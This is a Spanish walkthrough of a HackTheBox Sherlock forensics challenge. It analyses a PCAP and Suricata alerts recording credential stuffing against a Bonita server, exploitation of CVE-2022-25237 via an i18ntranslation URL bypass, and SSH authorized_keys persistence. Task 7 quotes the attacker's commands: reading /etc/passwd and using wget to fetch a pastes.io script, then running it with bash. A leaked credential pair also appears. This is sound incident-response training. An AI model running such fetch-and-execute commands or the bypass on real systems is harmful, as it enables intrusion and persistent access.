Meerkat

Este es un reto de la sección Sherlocks en HackTheBox.

Escenario Sherlock

Como una startup de rápido crecimiento, Forela ha estado utilizando una plataforma de gestión empresarial. Por desgracia, nuestra documentación es escasa y nuestros administradores no son los más concienciados en materia de seguridad.

Como nuestro nuevo proveedor de seguridad, nos gustaría que echaras un vistazo a algunos PCAP y logs que hemos exportado para confirmar si hemos sido (o no) comprometidos.

Recursos

Tareas

Tarea 1 - Creemos que nuestro servidor de la Plataforma de Gestión Empresarial ha sido comprometido. Por favor, ¿Puedes confirmar el nombre de la aplicación que se está ejecutando?

Primero abrimos la captura PCAP con Wireshark y filtramos por el protocolo HTTP en la barra de filtros http.

En los primeros paquetes tenemos mucha información valiosa:

• La comunicación entre 156.146.62.213 y 172.31.6.44
• La petición a la URL /bonita/portal/homepage
• Respuestas del servidor con un código 401 (Unauthorized), que sugiere que el “atacante” (aún no estamos seguros) trató de autenticarse repetidas veces, sin éxito.

Si buscamos por Google vemos el nombre de la aplicación que se está ejecutando.

Tarea 2 - Creemos que el atacante puede haber utilizado una sub-técnica de la categoría Brute Force. ¿Cuál es el nombre del ataque realizado?

Revisando el framework MITRE ATT&CK, vemos que la Técnica Brute Force se divide en cuatro sub-técnicas.

Password Guessing: Adversarios sin conocimiento previo de las credenciales legítimas dentro del sistema o entorno pueden adivinar las contraseñas para intentar acceder a cuentas.

Password Cracking: Adversarios pueden utilizar el cracking de contraseñas para intentar recuperar credenciales utilizables, como contraseñas en texto plano o cuando se obtiene material de credenciales como hashes de contraseñas.

Password Spraying: Adversarios pueden utilizar una sola contraseña o una pequeña lista de contraseñas de uso común en muchas cuentas diferentes para intentar obtener credenciales válidas.

Credential Stuffing: Adversarios pueden utilizar credenciales obtenidas de filtraciones/brechas de seguridad para acceder a la organización víctima.

Por lo que tenemos que investigar cuál de ellas empleó el atacante a la hora de intentar pasar el login de BonitaSoft

Como queremos buscar por intentos de login fallidos, podemos filtrar por http.request.method == POST e investigar los paquetes enviados.

Dentro de las peticiones vemos que el atacante intentó acceder utilizando credenciales existentes de la organización, por lo que realizó un Credential Stuffing

Tarea 3 - ¿La vulnerabilidad explotada tiene asignado un CVE y de ser así, cúal?

Como además del archivo PCAP tenemos un archivo de alertas en formato JSON, podemos subir el archivo a nuestro software/SIEM favorito. En este caso utilizaré Splunk.

Y tenemos un total de 789 eventos registrados, de entre los cuales se encuentra una alerta con el campo alert.metadata.cve{}, que nos indica el CVE de la vulnerabilidad explotada.

Además podemos ver que la IP que utilizó el atacante para el Credential Stuffing es diferente de esta, 138.199.59.221

Investigando el CVE nos encontramos con que Bonita Web 2021.2 se ve afectada por una vulnerabilidad de evasión de autenticación/autorización debido a un patrón de exclusión demasiado amplio utilizado en RestAPIAuthorizationFilter.

Al añadir ;i18ntranslation o /../i18ntranslation/ al final de una URL, los usuarios sin privilegios pueden acceder a puntos finales de API privilegiados. Esto puede llevar a la ejecución remota de código abusando de las acciones privilegiadas de la API.

Tarea 4 - ¿Qué cadena se añadió a la ruta URL de la API para evitar el filtro de autorización mediante el exploit del atacante?

Como realizó una petición a la API podemos regresar a nuestra captura en Wireshark y filtrar por los campos http && ip.src_host == 138.199.59.221

En los primeros paquetes nos aparece la cadena que utilizó para evitar el filtro de autorización, i18ntranslation

Tarea 5 - ¿Cuántas combinaciones de usuario/contraseña fueron utilizadas en el ataque Credential Stuffing?

Podemos filtrar por ip.src == 156.146.62.213 && http.request.method == POST para ver todas las peticiones donde se introdujo un usuario y contraseña en el login.

Nos reporta 114 paquetes, pero tenemos que descontar aquellos que contienen los campos install:install.

Como se encuentran de forma intercalada, podemos dividir los 114/2 y nos da 57 paquetes. Solo nos queda restar el paquete que contiene el protocolo HTTP/JSON para que nos dé el total de credenciales utilizadas en el ataque, 56.

Tarea 6 - ¿Qué combinación de usuario y contraseña fue exitosa?

Como ya sabemos que el atacante/grupo empleó dos IP diferentes, una para realizar el Credential Stuffing 156.146.62.213 y otra para explotar la vulnerabilidad CVE-2022-25237 138.199.59.221, podemos filtrar por http && ip.src == 138.199.59.221

Vemos que la primera credencial que utilizó para explotar la vulnerabilidad fue seb.broom@forela.co.uk:g0vernm3nt

Tarea 7 - Si lo hubiera, ¿Qué sitio de intercambio de texto utilizó el atacante?

Si filtramos por ip.src == 138.199.59.221 && http.request.method == GET, para ver las peticiones GET que realizó el atacante nos encontramos con tres comandos ejecutados gracias a la vulnerabilidad en Bonita Web, entre ellos una petición a pastes.io.

• cat /etc/passwd
• wget https://pastes.io/raw/bx5gcr0et8
• bash bx5gcr0et8

Tarea 8 - Por favor, proporciona el hash del archivo del script utilizado por el atacante para obtener acceso persistente a nuestro host.

Si vemos lo que contiene la URL, nos encontramos con un script en Bash, que descarga otro archivo, lo agrega al final de authorized_keys y luego reinicia el servicio SSH, por lo que seguramente se trate de una clave pública.

Podemos descargar el archivo (en un entorno virtualizado) con:

certutil -urlcache -f https://pastes.io/raw/bx5gcr0et8

y realizar un Get-FileHash con PowerShell:

Get-FileHash -Algorithm MD5 bx5gcr0et8

Tarea 9 - Por favor, proporciona el hash del archivo de la clave pública utilizada por el atacante para obtener persistencia en nuestro host.

Empleando el mismo método, podemos ver que contiene la URL del primer script, logrando ver la clave pública del atacante.

Podemos descargarla de la misma manera que hicimos y obtener el hash MD5.

Tarea 10 - ¿Puedes confirmar el archivo modificado por el atacante para ganar persistencia?

En el script se puede observar que almacena el archivo en /home/ubuntu/.ssh/authorized_keys

Tarea 11 - ¿Puedes confirmar el ID de la técnica MITRE de este tipo de mecanismo de persistencia?

Viendo el framework MITRE ATT&CK dentro la táctica Persistence, y la técnica Account Manipulation, podemos ver la sub-técnica SSH Authorized Keys con el ID de T1098.004